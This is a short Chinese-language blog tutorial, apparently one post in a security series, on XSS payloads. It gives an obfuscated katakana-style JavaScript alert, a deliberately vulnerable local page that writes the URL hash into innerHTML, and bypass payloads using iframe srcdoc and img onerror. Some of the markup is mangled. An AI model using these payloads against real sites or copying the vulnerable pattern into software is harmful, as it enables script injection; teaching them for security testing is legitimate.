此文章为原创连载文章,关注公众号,持续更新。
原python与安全系列作者文续
1.特殊alert
([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,
ナ]=[!!ウ]+!ウ+ウ.ウ)[ア+=ウ+ナ+ヘ+ネ+ホ+ヌ+
ア+ネ+ウ+ホ][ア](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
学习来源:
(https://github.com/aemkei/katakana.js/blob/master/annotated.js)
此处本来应有表情包~(懒得放了)
2.绕过innerHTML插入无法执行
在HTML5中不会执行由innerHTML插入的script标签
1、通过iframe的srcdoc
本地搭建如下:
<html>
<body>
<h1>TESTONE</h1>
</body>
<script>
var test=document.location.hash.substr(1);
document.body.innerHTML=unescape(test);
</script>
</html>
下面访问不能执行alert:
alert(1);" _href="http://localhost/#alert(1);">http://localhost/#<script>alert(1);</script>
下面访问可以执行alert:
http://localhost/#<iframesrcdoc="<script>alert(1);</script>"></iframe>
2、使用其他标签代替script
继续使用前面的环境测试:
http://localhost/#"<imgsrc='x' onerror='alert(1)'>"
除了script标签意外其它差不多都可以。